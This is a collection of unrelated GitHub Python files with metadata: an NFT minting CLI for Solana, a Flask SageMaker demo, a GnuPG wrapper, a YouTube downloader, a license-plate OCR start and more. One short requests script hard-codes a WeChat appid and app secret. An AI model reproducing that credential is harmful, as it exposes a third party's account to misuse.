X:\n Z[counter] = np.array(list(map(lambda x: getRuntime(x[0],x[1],10), \n [getStrings(i,j,32) for j in Y])))\n counter += 1\n X,Y = np.meshgrid(X,Y)\n \n fig = plt.figure()\n ax = fig.gca(projection='3d')\n ax.plot_surface(X,Y,Z)\n ax.set_xlabel('Размер первого слова (N)')\n ax.set_ylabel('Размер второго слова (M)')\n ax.set_zlabel('Время работы алгоритма')\n \n plt.show()\n\nif __name__=='__main__':\n main()\n", "repo_name": "sncodeGit/Other", "sub_path": "DamLevDist.py", "file_name": "DamLevDist.py", "file_ext": "py", "file_size_in_byte": 4048, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.seed", "line_number": 21, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 23, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 30, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}]} {"seq_id": "4651808217", "text": "import os\nimport asyncio\nimport argparse\nimport math\nimport time\nimport json\n\nfrom solana.keypair import Keypair\nfrom solana.rpc.async_api import AsyncClient\nfrom solana.transaction import Transaction\n\nfrom anchor_commands.initialize_candy_machine import initialize_candy_machine\nfrom anchor_commands.mint_nft import mint_one_nft\nfrom anchor_commands.update_candy_machine import update_candy_machine\nfrom pda import get_candy_machine_pda_nonce\nfrom vanilla_instructions import get_create_new_config_account_instructions, get_user_account_mint_prep_instructions, \\\n get_approval_instruction\nfrom anchor_commands.add_config_lines import add_nfts_to_machine\nfrom anchor_commands.initialize_config import initialize_candymachine_for_config_account\nfrom anchor_commands.mint_prepped_nft import mint_prepped_nft\n\nfrom constants import DEVNET, TESTNET, MAINNET\nfrom utils import get_keypair, get_default_creator_array, get_creator_array, get_nft_rows, get_keypair_from_byte_list\n\nif os.name == 'nt':\n asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n\nasync def run_instructions(async_client, instruction_list, signature_list):\n tx = Transaction()\n for i in instruction_list:\n tx = tx.add(i)\n response = await async_client.send_transaction(tx, *signature_list)\n return response\n\n\nasync def main():\n\n parser = argparse.ArgumentParser(description='candy machine configurations')\n parser.add_argument('--usenet', action=\"store\", choices=[\"devnet\", \"testnet\", \"mainnet\"],\n help='path to the keypair used for payments')\n parser.add_argument('--customnet', action=\"store\",\n help='custom rpc endpoint to hit')\n\n subparsers = parser.add_subparsers(dest=\"subcommand_name\", help='candy machine config help')\n\n parser_config_creator = subparsers.add_parser('create_config_account', help='create account to store NFTs')\n parser_config_creator.add_argument('payment_key', action=\"store\", help='path to the keypair used for payments')\n parser_config_creator.add_argument('num_nfts', action=\"store\",\n help='number of nfts this config will hold. determines space')\n\n parser_init_config = subparsers.add_parser('initialize_config_account',\n help='initialize the config account in candymachine. allocate space')\n parser_init_config.add_argument('payment_key', action=\"store\", help='path to the keypair used for payments')\n parser_init_config.add_argument('nft_symbol', action=\"store\", help='NFT symbol')\n parser_init_config.add_argument('num_nfts', action=\"store\", help='number of nfts')\n parser_init_config.add_argument('config_pub_key', action=\"store\", help='public key of config account')\n parser_init_config.add_argument('seller_basis_points', action=\"store\", help='basis points / royalty')\n parser_init_config.add_argument('--is_immutable', action=\"store_true\", help='mutability')\n parser_init_config.add_argument('--creator_json_file', action=\"store\",\n help='optional json list of creators. Users the payment_key by default')\n\n parser_init_addlines = subparsers.add_parser('add_config_lines',\n help='initialize the config account in candymachine. allocate space')\n parser_init_addlines.add_argument('payment_key', action=\"store\", help='path to the keypair used for payments')\n parser_init_addlines.add_argument('config_pub_key', action=\"store\", help='public key of config account')\n parser_init_addlines.add_argument('name_uri_json', action=\"store\", help='file containing names mapped to metadata '\n 'uris')\n\n parser_create_machine = subparsers.add_parser('initialize_candy_machine',\n help='create the main candy machine account')\n parser_create_machine.add_argument('payment_key', action=\"store\", help='path to the keypair used for payments')\n parser_create_machine.add_argument('price', action=\"store\", help='price per NFT in sol')\n parser_create_machine.add_argument('livedate', action=\"store\", help='date when the mint should be live epoch time')\n parser_create_machine.add_argument('itemcount', action=\"store\", help='number of nfts for the candymachine')\n parser_create_machine.add_argument('config_pub_key', action=\"store\", help='public key of config account')\n parser_create_machine.add_argument('treasury_pub_key', action=\"store\", help='public key of treasury account')\n\n parser_update_machine = subparsers.add_parser('update_candy_machine',\n help='update the price and date in the candy machine')\n parser_update_machine.add_argument('payment_key', action=\"store\", help='path to the keypair used for payments')\n parser_update_machine.add_argument('price', action=\"store\", help='price per NFT in sol')\n parser_update_machine.add_argument('livedate', action=\"store\", help='date when the mint should be live epoch time')\n parser_update_machine.add_argument('config_pub_key', action=\"store\", help='public key of config account')\n\n parser_mint = subparsers.add_parser('mint',\n help='mint from a machine')\n parser_mint.add_argument('payment_key', action=\"store\", help='path to the keypair used for payments')\n parser_mint.add_argument('config_pub_key', action=\"store\", help='public key of config account')\n parser_mint.add_argument('treasury_pub_key', action=\"store\", help='wallet pub key')\n parser_mint.add_argument('mint_auth', action=\"store\", help='wallet pub key')\n\n parser_mint_pre = subparsers.add_parser('gen_pre_mint',\n help='generate pre mint configuration')\n parser_mint_pre.add_argument('payment_key', action=\"store\", help='path to the keypair used for payments')\n parser_mint_pre.add_argument('num_accounts', action=\"store\", help='num accounts to generate')\n parser_mint_pre.add_argument('mint_file', action=\"store\", help='file to store mint keys in')\n\n parser_mint_prepped_nft = subparsers.add_parser('mint_prepped_nft',\n help='generate pre mint configuration')\n parser_mint_prepped_nft.add_argument('payment_key', action=\"store\", help='path to the keypair used for payments')\n parser_mint_prepped_nft.add_argument('mint_file', action=\"store\", help='file containing mint keys in')\n parser_mint_prepped_nft.add_argument('purchase_token_address', action=\"store\", help='purchase_token_address (spl token mint addr)')\n parser_mint_prepped_nft.add_argument('config_pub_key', action=\"store\", help='public key of config account')\n parser_mint_prepped_nft.add_argument('treasury_pub_key', action=\"store\", help='wallet pub key')\n parser_mint_prepped_nft.add_argument('mint_auth', action=\"store\", help='wallet pub key')\n\n\n args = parser.parse_args()\n\n use_network = DEVNET\n if args.usenet == \"testnet\":\n use_network = TESTNET\n elif args.usenet == \"mainnet\":\n use_network = MAINNET\n\n payment_keypair = get_keypair(args.payment_key)\n\n # vanilla\n if args.subcommand_name == \"create_config_account\":\n new_account_keypair = Keypair()\n num_nfts = int(args.num_nfts)\n async_client = AsyncClient(endpoint=use_network)\n from_account_keypair = payment_keypair\n (instruction_list, signature_list) = await get_create_new_config_account_instructions(async_client,\n new_account_keypair,\n from_account_keypair,\n num_nfts)\n response = await run_instructions(async_client, instruction_list, signature_list)\n print(response)\n print(\"new config account generated with candymachine as owner: %s\" % new_account_keypair.public_key)\n\n\n # anchor\n elif args.subcommand_name == \"initialize_config_account\":\n num_nfts = int(args.num_nfts)\n config_pub_key = args.config_pub_key\n nft_symbol = args.nft_symbol\n seller_basis_points = int(args.seller_basis_points)\n is_mut = True\n if args.is_immutable:\n is_mut = False\n\n if not args.creator_json_file:\n creator_array = get_default_creator_array(payment_keypair)\n else:\n creator_array = get_creator_array(args.creator_json_file)\n\n async_client = AsyncClient(endpoint=use_network)\n\n response = await initialize_candymachine_for_config_account(async_client,\n payment_keypair,\n config_pub_key,\n num_nfts,\n nft_symbol,\n seller_basis_points,\n is_mut,\n num_nfts,\n creator_array)\n print(response)\n\n # anchor\n elif args.subcommand_name == \"add_config_lines\":\n config_pub_key_str = args.config_pub_key\n nft_rows_json_file = args.name_uri_json\n nft_rows = get_nft_rows(nft_rows_json_file)\n async_client = AsyncClient(endpoint=use_network)\n response = await add_nfts_to_machine(async_client, payment_keypair, config_pub_key_str, nft_rows)\n print(response)\n\n # anchor\n elif args.subcommand_name == \"initialize_candy_machine\":\n async_client = AsyncClient(endpoint=use_network)\n price = math.ceil(float(args.price) * 1000000000)\n config_pub_key_str = args.config_pub_key\n itemcount = int(args.itemcount)\n treasury_pub_key_str = args.treasury_pub_key\n if args.livedate == \"now\":\n livedate = int(time.time())\n else:\n livedate = int(args.livedate)\n candy_machine_pda, bump = get_candy_machine_pda_nonce(config_pub_key_str)\n print(\"created candy machine with address: %s\" % (candy_machine_pda.to_base58().decode()))\n response = await initialize_candy_machine(async_client,\n payment_keypair,\n config_pub_key_str,\n treasury_pub_key_str,\n candy_machine_pda,\n bump,\n livedate,\n price,\n itemcount\n )\n print(response)\n\n # anchor\n elif args.subcommand_name == \"update_candy_machine\":\n async_client = AsyncClient(endpoint=use_network)\n price = math.ceil(float(args.price) * 1000000000)\n config_pub_key_str = args.config_pub_key\n candy_machine_pda, _ = get_candy_machine_pda_nonce(config_pub_key_str)\n if args.livedate == \"now\":\n livedate = int(time.time())\n else:\n livedate = int(args.livedate)\n\n result = await update_candy_machine(async_client,\n payment_keypair,\n candy_machine_pda,\n price,\n livedate)\n print(result)\n\n # anchor with vanilla\n elif args.subcommand_name == \"mint\":\n async_client = AsyncClient(endpoint=use_network)\n config_pub_key_str = args.config_pub_key\n treasury_pub_key_str = args.treasury_pub_key\n mint_account, account_create_instructions, signers = await get_user_account_mint_prep_instructions(async_client,\n payment_keypair)\n approval_instruction, signers = get_approval_instruction(payment_keypair,\n mint_account.public_key, 1)\n\n result = await mint_one_nft(async_client, payment_keypair, config_pub_key_str,\n mint_account, treasury_pub_key_str, account_create_instructions + approval_instruction)\n print(result)\n\n # vanilla\n elif args.subcommand_name == \"gen_pre_mint\":\n async_client = AsyncClient(endpoint=use_network)\n num_accounts = int(args.num_accounts)\n mint_key_file = args.mint_file\n mint_account_list = []\n for i in range(0,num_accounts):\n mint_account, account_create_instructions, signers = await get_user_account_mint_prep_instructions(async_client,\n payment_keypair)\n mint_account_list.append(mint_account)\n # approval_instruction, signers = get_approval_instruction(payment_keypair,\n # mint_account.public_key, 1)\n\n response = await run_instructions(async_client, account_create_instructions, signers)\n\n print(response)\n with open(mint_key_file,\"w\") as f:\n for m in mint_account_list:\n f.write(json.dumps(list(m.secret_key)))\n f.write(\"\\n\")\n\n # anchor\n elif args.subcommand_name == \"mint_prepped_nft\":\n async_client = AsyncClient(endpoint=use_network)\n mint_file = args.mint_file\n\n mint_keys = []\n with open(mint_file) as f:\n lines = f.read().split(\"\\n\")\n for l in lines:\n if len(l) > 0:\n mint_keys.append(get_keypair_from_byte_list(json.loads(l)))\n config_pub_key_str = args.config_pub_key\n treasury_pub_key_str = args.treasury_pub_key\n purchase_token_address = args.purchase_token_address\n\n for m in mint_keys:\n approval_instruction, transfer_authority_keypair = get_approval_instruction(payment_keypair,\n purchase_token_address, 1)\n result = await mint_prepped_nft(async_client, payment_keypair, config_pub_key_str,\n m, treasury_pub_key_str, approval_instruction,transfer_authority_keypair)\n print(result)\n\n\n\nasyncio.run(main())\n", "repo_name": "dubbelosix/candypy", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 14847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.name", "line_number": 25, "usage_type": "attribute"}, {"api_name": "asyncio.set_event_loop_policy", "line_number": 26, "usage_type": "call"}, {"api_name": "asyncio.WindowsSelectorEventLoopPolicy", "line_number": 26, "usage_type": "call"}, {"api_name": "solana.transaction.Transaction", "line_number": 30, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 39, "usage_type": "call"}, {"api_name": "constants.DEVNET", "line_number": 111, "usage_type": "name"}, {"api_name": "constants.TESTNET", "line_number": 113, "usage_type": "name"}, {"api_name": "constants.MAINNET", "line_number": 115, "usage_type": "name"}, {"api_name": "utils.get_keypair", "line_number": 117, "usage_type": "call"}, {"api_name": "solana.keypair.Keypair", "line_number": 121, "usage_type": "call"}, {"api_name": "solana.rpc.async_api.AsyncClient", "line_number": 123, "usage_type": "call"}, {"api_name": "vanilla_instructions.get_create_new_config_account_instructions", "line_number": 125, "usage_type": "call"}, {"api_name": "utils.get_default_creator_array", "line_number": 145, "usage_type": "call"}, {"api_name": "utils.get_creator_array", "line_number": 147, "usage_type": "call"}, {"api_name": "solana.rpc.async_api.AsyncClient", "line_number": 149, "usage_type": "call"}, {"api_name": "anchor_commands.initialize_config.initialize_candymachine_for_config_account", "line_number": 151, "usage_type": "call"}, {"api_name": "utils.get_nft_rows", "line_number": 166, "usage_type": "call"}, {"api_name": "solana.rpc.async_api.AsyncClient", "line_number": 167, "usage_type": "call"}, {"api_name": "anchor_commands.add_config_lines.add_nfts_to_machine", "line_number": 168, "usage_type": "call"}, {"api_name": "solana.rpc.async_api.AsyncClient", "line_number": 173, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 174, "usage_type": "call"}, {"api_name": "time.time", "line_number": 179, "usage_type": "call"}, {"api_name": "pda.get_candy_machine_pda_nonce", "line_number": 182, "usage_type": "call"}, {"api_name": "anchor_commands.initialize_candy_machine.initialize_candy_machine", "line_number": 184, "usage_type": "call"}, {"api_name": "solana.rpc.async_api.AsyncClient", "line_number": 198, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 199, "usage_type": "call"}, {"api_name": "pda.get_candy_machine_pda_nonce", "line_number": 201, "usage_type": "call"}, {"api_name": "time.time", "line_number": 203, "usage_type": "call"}, {"api_name": "anchor_commands.update_candy_machine.update_candy_machine", "line_number": 207, "usage_type": "call"}, {"api_name": "solana.rpc.async_api.AsyncClient", "line_number": 216, "usage_type": "call"}, {"api_name": "vanilla_instructions.get_user_account_mint_prep_instructions", "line_number": 219, "usage_type": "call"}, {"api_name": "vanilla_instructions.get_approval_instruction", "line_number": 221, "usage_type": "call"}, {"api_name": "anchor_commands.mint_nft.mint_one_nft", "line_number": 224, "usage_type": "call"}, {"api_name": "solana.rpc.async_api.AsyncClient", "line_number": 230, "usage_type": "call"}, {"api_name": "vanilla_instructions.get_user_account_mint_prep_instructions", "line_number": 235, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 246, "usage_type": "call"}, {"api_name": "solana.rpc.async_api.AsyncClient", "line_number": 251, "usage_type": "call"}, {"api_name": "utils.get_keypair_from_byte_list", "line_number": 259, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 259, "usage_type": "call"}, {"api_name": "vanilla_instructions.get_approval_instruction", "line_number": 265, "usage_type": "call"}, {"api_name": "anchor_commands.mint_prepped_nft.mint_prepped_nft", "line_number": 267, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 273, "usage_type": "call"}]} {"seq_id": "41690302341", "text": "from __future__ import print_function\nfrom flask import Flask, render_template, jsonify, redirect, request\nimport sagemaker\nfrom sagemaker.mxnet import MXNetPredictor\nfrom sagemaker.tensorflow import TensorFlowPredictor\nfrom sagemaker.pytorch import PyTorchPredictor\nimport sys\nimport ast\nimport boto3\nfrom boto3.dynamodb.conditions import Key, Attr\nimport decimal\nimport json\nimport datetime\nfrom itertools import islice\nimport math\nimport struct\nimport io\nimport numpy\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/mxnet')\ndef mxnet():\n \n mynumber = request.args.getlist('image')\n\n predictor = MXNetPredictor('sagemaker-mxnet-2018-10-30-23-10-24-575')\n \n mynumberarray = ast.literal_eval(mynumber[0])\n \n response = predictor.predict(mynumberarray)\n \n labeled_predictions = list(zip(range(10), response[0]))\n\n labeled_predictions.sort(key=lambda label_and_prob: 1.0 - label_and_prob[1])\n answer= \"Most likely answer: \"+str(labeled_predictions[0])\n \n return(answer)\n\n@app.route('/tensor')\ndef tensor():\n \n mynumber = request.args.getlist('image')\n\n predictor = TensorFlowPredictor('sagemaker-tensorflow-2018-10-31-23-19-00-978')\n \n mynumberarray = ast.literal_eval(mynumber[0])\n \n response = predictor.predict(mynumberarray)\n \n prediction = response['outputs']['classes']['int64_val'][0]\n \n answer= (\"Most likely answer: {}\".format(prediction))\n \n return(answer)\n\n@app.route('/pytorch')\ndef pytorch():\n \n \n# import numpy as np\n\n#image = np.array([data], dtype=np.float32)\n#response = predictor.predict(image)\n#prediction = response.argmax(axis=1)[0]\n#print(prediction)\n \n \n mynumber = request.args.getlist('image')\n\n predictor = PyTorchPredictor('sagemaker-pytorch-2018-11-01-20-32-35-238')\n \n mynumberarray = np.array([mynumber], dtype=np.float32)\n #ast.literal_eval(mynumber[0])\n \n response = predictor.predict(mynumberarray)\n \n prediction = response['outputs']['classes']['int64_val'][0]\n \n answer= (\"Most likely answer: {}\".format(prediction))\n \n return(answer)\n \n# def np2csv(arr):\n# csv = io.BytesIO()\n# numpy.savetxt(csv, arr, delimiter=',', fmt='%g')\n# return csv.getvalue().decode().rstrip()\n# \n# mynumber = request.args.getlist('image')\n# \n# mynumberarray = ast.literal_eval(mynumber[0])\n #payload=mynumberarray\n #sagemaker-pytorch-2018-11-01-20-32-35-238\n \n# payload = np2csv(mynumberarray)\n \n# runtime_client = boto3.Session().client('runtime.sagemaker')\n \n# import json\n\n#file_name = 'mnist.single.test' #customize to your test file 'mnist.single.test' if use the data above\n\n#with open(file_name, 'r') as f:\n# payload = f.read()\n\n# endpoint_name='DEMO-XGBoostEndpoint-2018-11-01-18-44-19'\n\n# response = runtime_client.invoke_endpoint(EndpointName=endpoint_name, \n# ContentType='text/x-libsvm', \n# Body=payload)\n \n #print('Predicted label is {}.'.format(result))\n \n #response = runtime.invoke_endpoint(EndpointName='DEMO-XGBoostEndpoint-2018-04-20-03-07-34', \n # ContentType='text/csv', \n # Body=payload)\n \n #response = runtime.invoke_endpoint(EndpointName='DEMO-XGBoostEndpoint-2018-11-01-18-44-19', \n # ContentType='text/csv', \n # Body=payload)\n \n# result = response['Body'].read().decode('ascii')\n# floatArr = numpy.array(json.loads(result))\n# predictedLabel = numpy.argmax(floatArr)\n# \n# answer= (\"Most likely answer: {}\".format(predictedLabel))\n \n# return(answer)\n\n@app.route('/save')\ndef save():\n\n # Helper class to convert a DynamoDB item to JSON.\n class DecimalEncoder(json.JSONEncoder):\n def default(self, o):\n if isinstance(o, decimal.Decimal):\n if o % 1 > 0:\n return float(o)\n else:\n return int(o)\n return super(DecimalEncoder, self).default(o)\n\n dynamodb = boto3.resource('dynamodb', region_name='us-west-2', endpoint_url=\"https://dynamodb.us-west-2.amazonaws.com\")\n\n table = dynamodb.Table('ml-game-observations')\n\n algorithm = request.args.getlist('algorithm')\n actual=request.args.getlist('actual')\n guess=request.args.getlist('guess')\n image=request.args.getlist('image')\n currentDT = datetime.datetime.now()\n\n response = table.put_item(\n Item={\n 'datetime': str(currentDT),\n 'info': {\n 'algorithm': algorithm,\n 'actual': actual,\n 'guess': guess,\n 'image': image\n }\n }\n )\n \n return(\"saved\")\n \nif __name__ == \"__main__\":\n app.run(debug=False)", "repo_name": "wsmcil/guessmynumber_app", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 4947, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.request.args.getlist", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "sagemaker.mxnet.MXNetPredictor", "line_number": 31, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.request.args.getlist", "line_number": 47, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 47, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 47, "usage_type": "name"}, {"api_name": "sagemaker.tensorflow.TensorFlowPredictor", "line_number": 49, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.args.getlist", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "sagemaker.pytorch.PyTorchPredictor", "line_number": 75, "usage_type": "call"}, {"api_name": "json.JSONEncoder", "line_number": 138, "usage_type": "attribute"}, {"api_name": "decimal.Decimal", "line_number": 140, "usage_type": "attribute"}, {"api_name": "boto3.resource", "line_number": 147, "usage_type": "call"}, {"api_name": "flask.request.args.getlist", "line_number": 151, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 151, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 151, "usage_type": "name"}, {"api_name": "flask.request.args.getlist", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 152, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 152, "usage_type": "name"}, {"api_name": "flask.request.args.getlist", "line_number": 153, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 153, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 153, "usage_type": "name"}, {"api_name": "flask.request.args.getlist", "line_number": 154, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 154, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 154, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 155, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 155, "usage_type": "attribute"}]} {"seq_id": "6343532868", "text": "from datetime import datetime\n\nimport gnupg\n\n\ndef format_time(timestamp):\n return datetime.fromtimestamp(int(timestamp)).strftime('%Y-%m-%d %H:%M:%S')\n\n\nclass GPG_Handler(gnupg.GPG):\n def __init__(self, homedir=None, keyring=[]):\n super().__init__(gnupghome=homedir, keyring=[])\n self.homedir = homedir\n self.gnupghome = self.homedir\n self.gpg_version = '{}.{}.{}'.format(*self.version)\n\n def print_keys(self, private=False):\n keylist = self.list_keys(private)\n for idx, key in enumerate(keylist):\n uid = str(key['uids'])\n keyid = key['keyid']\n print(uid, keyid)\n\n def keyring_info(self, private=True):\n \"\"\"\n return keyring information\n key_dict references the dictionary object for each key\n Dictionary key is concatenated ' '.\n :param private: if True, get private keys, else get public keys\n :return: dictionary of keys\n \"\"\"\n keylist = self.list_keys(private)\n key_dict = {}\n for idx, key in enumerate(keylist):\n uid = str(key['uids'])\n keyid = key['keyid']\n print(uid, keyid)\n newkey = (keyid + ' ' + uid)\n key_dict[newkey] = key\n return key_dict\n\n def set_homedir(self, homedir, keyring=[]):\n print('Using home dir: {}'.format(homedir))\n print('Using keyring: {}'.format(keyring))\n self.gnupghome = homedir\n self.keyring = keyring\n\n def handle_import(self, key):\n imported = self.import_keys(key)\n\n return imported\n\n def handle_encrypt(self, data, recipients, armor=True, keyring=None):\n extra = ['--keyring ', keyring]\n encr = self.encrypt(data=data, armor=armor, recipients=recipients, extra_args=keyring,)\n return encr\n\n def handle_encrypt_symmetric(self, data, is_file=False, output=None, armor=False, cipher='AES256'):\n if is_file:\n with open(data, 'rb') as f:\n status = self.encrypt_file(f,\n recipients=None,\n symmetric=cipher,\n armor=armor,\n output=output)\n return status\n else:\n status = self.encrypt(data,\n recipients=None,\n symmetric=cipher,\n armor=armor,\n output=output)\n return status\n\n def handle_decrypt(self, text):\n decrypted = self.decrypt(text)\n return decrypted\n\n def handle_verify(self, data):\n \"\"\"\n :param data: string\n :return:\n \"\"\"\n verified = self.verify(data)\n print(\"Verified\" if verified else \"Unverified\")\n return verified\n\n def handle_sign(self, data, keyid=None):\n signed_data = self.sign(data, keyid=keyid)\n if signed_data.status == 'signature created':\n return signed_data\n\n def handle_export(self, key, armor=True):\n print(key)\n return self.export_keys(key['fingerprint'], armor=armor)", "repo_name": "johnharakas/gGPG", "sub_path": "gGPG/gpg_utils.py", "file_name": "gpg_utils.py", "file_ext": "py", "file_size_in_byte": 3220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.fromtimestamp", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 7, "usage_type": "name"}, {"api_name": "gnupg.GPG", "line_number": 10, "usage_type": "attribute"}]} {"seq_id": "29134988328", "text": "from pytube import YouTube\nfrom tkinter import *\n\n'''\nDocumentation: https://pypi.org/project/pytube/\n'''\n###--- Individual videos ---###\n\nlink = \"https://www.youtube.com/watch?v=HHBsvKnCkwI\"\n\ntry:\n youtube = YouTube(link)\nexcept:\n print(\"Connection error\")\n\nprint(youtube.title)\nprint(youtube.video_id)\nprint(youtube.thumbnail_url)\nprint(youtube.views)\n\nstream = youtube.streams.first()\nstream.download()\n\n# SAVE_PATH = \"E:/\"\n\n# link = \"https://www.youtube.com/watch?v=HHBsvKnCkwI\"\n\n# try:\n# youtube = YouTube(link)\n# except:\n# print(\"Connection error\")\n\n# stream = youtube.streams.first()\n# stream.download()\n\n# root = Tk()\n\n# root.geometry(\"500x350\")\n\n# root.title(\"Download YouTube Videos.\")\n\n# def dw():\n# '''\n# Download youtube videos without errors\n# '''\n# try:\n# myVar.set(\"DOWNLOADING...\")\n# root.update()\n# YouTube(link.get()).streams.first().download()\n# link.set(\"Download successful.\")\n# except:\n# myVar.set(\"Error found...\")\n# root.updated()\n# link.set(\"Enter correct link\")\n\n# Label(root, text=\"Welcome to Youtube\\nDownloader\")\n# myVar = StringVar()\n# myVar.set(\"Enter a url below:\")\n# Entry(root, textvariable=myVar, width=40).pack(pady=10)\n# link = StringVar()\n# Entry(root, textvariable=link, width=40).pack(pady=10)\n# Button(root, text=\"Download\", command=dw).pack()\n# root.mainloop()\n\n\n###--- Playlists ---###\n# yt = YouTube('[...]')\n# yt.streams.get_highest_resolution().download()\n\n# # or simply\n# pl = Playlists('[..]')\n# pl.download_all\n", "repo_name": "aa-ag/download", "sub_path": "dw.py", "file_name": "dw.py", "file_ext": "py", "file_size_in_byte": 1551, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pytube.YouTube", "line_number": 12, "usage_type": "call"}]} {"seq_id": "3648846894", "text": "import requests\nimport jsonpath\nimport re\nsession = requests.session()\nget_token_params = {\n \"grant_type\":\"client_credential\",\n \"appid\":\"wxf26ad2ae7497289a\",\n \"secret\":\"177931a321a1f39a47a1ef202d8a3497\"\n}\n\nresponse = session.get(url=' https://api.weixin.qq.com/cgi-bin/token',params = get_token_params,verify=False)\nresponse.encoding = response.apparent_encoding\nbody = response.text\nvalue = re.findall('\"access_token\":\"(.+?)\"',body)[0]\nprint(value)\n", "repo_name": "yangtingting123456/API_Test_Framework", "sub_path": "samples/regular/demo01.py", "file_name": "demo01.py", "file_ext": "py", "file_size_in_byte": 459, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.session", "line_number": 4, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 14, "usage_type": "call"}]} {"seq_id": "33458625321", "text": "\"\"\"\nLicense plate detection for Luxembourgish plates.\n\nThe function ``get_license_plates`` returns a generator of regions which are\nlikely to be a license plate.\n\nThe function ``plate_ocr`` can be used to extract the plate text. This is fairly\nstrict and may not always return a value.\n\"\"\"\nimport re\nfrom math import atan2\nfrom statistics import mean\n\nimport cv2\nfrom PIL import Image\n\nimport numpy as np\nimport pytesseract\nfrom raspicam.localtypes import Dimension, Point2D\n\nP_PLATE = re.compile(r'[A-Z]{2} [0-9]{4}')\n\n\ndef order_polygon(points):\n '''\n Given a list of Point2D instances, will sweep across the points and order\n them so they can be used for perspective transforms.\n '''\n center = Point2D(mean([p.x for p in points]), mean(p.y for p in points))\n angles = [atan2(p.x-center.x, p.y-center.y) for p in points]\n combined = sorted(zip(points, angles), key=lambda x: x[1])\n output, _ = zip(*combined)\n return output\n\n\ndef project_2d(img, points, target_size=Dimension(300, 70)):\n \"\"\"\n Take 